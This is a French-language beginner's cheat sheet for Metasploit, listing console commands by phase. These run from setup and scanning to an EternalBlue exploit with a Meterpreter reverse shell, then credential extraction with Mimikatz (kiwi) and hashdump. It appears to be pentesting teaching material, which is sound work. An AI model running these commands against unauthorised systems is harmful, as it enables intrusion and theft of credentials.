Débuter avec Metasploit

Un coup d’œil, une commande, une explication pour tirer parti du framework le plus populaire des pentesters.

🧱 Notions clés

Exploit

Bloc de code qui profite d’une vulnérabilité précise pour exécuter une action sur la cible.

Payload

Charge utile livrée après l’exploit, souvent un shell Meterpreter ou un script personnalisé.

Module auxiliaire

Outil non intrusif (scanner, brute force, enumeration) qui prépare ou étaye l’exploitation.

Post module

Action de post-exploitation pour collecter des preuves, pivoter ou élever les privilèges.

Session

Canal ouvert avec la machine compromise pour lancer d’autres commandes.

🚀 Mise en route

msfconsole

Lance l’interface interactive principale du framework.

msfupdate

Synchronise les modules et payloads avec la dernière base.

msfdb init

Initialise la base de données PostgreSQL pour stocker les résultats.

workspace -a audit_reseau

Crée un espace de travail isolé pour vos cibles.

version

Affiche la version de Metasploit et des dépendances chargées.

help search

Rappelle la syntaxe de la commande de recherche directement dans la console.

🔎 Recherche & ciblage

search type:exploit smb

Filtre les exploits SMB disponibles pour un périmètre Windows.

search platform:linux auxiliary scanner

Liste les scanners auxiliaires utiles aux hôtes Linux.

info exploit/windows/smb/ms17_010_eternalblue

Affiche en détail les options et références d’un module.

use auxiliary/scanner/portscan/tcp

Charge un scanner TCP intégré pour cartographier les ports.

set RHOSTS 192.168.1.0/24

Définit la cible ou plage de cibles pour le module actif.

run

Exécute immédiatement le module chargé avec les options courantes.

🛠️ Préparation des exploits

use exploit/windows/smb/ms17_010_psexec

Charge l’exploit EternalBlue avec élévation via PsExec.

set PAYLOAD windows/x64/meterpreter/reverse_tcp

Sélectionne un shell Meterpreter inverse approprié.

set LHOST 10.10.0.5

Déclare l’adresse locale qui recevra la session retour.

set LPORT 4444

Fixe le port d’écoute pour le payload configuré.

check

Vérifie si la cible semble vulnérable avant le tir réel.

exploit -j

Déclenche l’exploit en job pour libérer la console.

📡 Modules auxiliaires & scanners

use auxiliary/scanner/http/title

Collecte les titres HTTP pour repérer les interfaces exposées.

use auxiliary/scanner/ssh/ssh_version

Identifie les versions SSH en service.

set THREADS 50

Augmente le parallélisme pour accélérer un scan auxiliaire.

set VERBOSE true

Ajoute des logs détaillés pendant l’exécution du module.

services -S http

Filtre les services découverts contenant « http » pour prioriser.

hosts -c address,os_name

Affiche un tableau condensé des hôtes connus et de leur OS.

🕵️ Post-exploitation & sessions

sessions -l

Liste les sessions actives collectées par vos exploits.

sessions -i 1

Ouvre la session numéro 1 pour interagir avec la cible.

background

Place la session courante en arrière-plan pour continuer ailleurs.

load kiwi

Charge l’extension Mimikatz pour extraire des identifiants.

hashdump

Récupère les hachages NTLM via Meterpreter en un clic.

run post/windows/gather/enum_logged_on_users

Énumère les comptes actifs sur la machine compromise.

⚙️ Automatisation & reporting

setg RPORT 445

Définit une option globale appliquée à tous les modules.

spool logs/metasploit.log

Enregistre tout ce qui s’affiche dans un fichier d’audit.

resource scripts/auto_exploit.rc

Joue une séquence complète d’actions depuis un fichier RC.

makerc derniers_cmds.rc

Crée un script RC reprenant vos dernières commandes utiles.

db_nmap -sV 10.10.0.0/24

Intègre directement les résultats Nmap dans la base Metasploit.

services -o rapports/services.csv

Exporte la table des services en CSV pour vos livrables.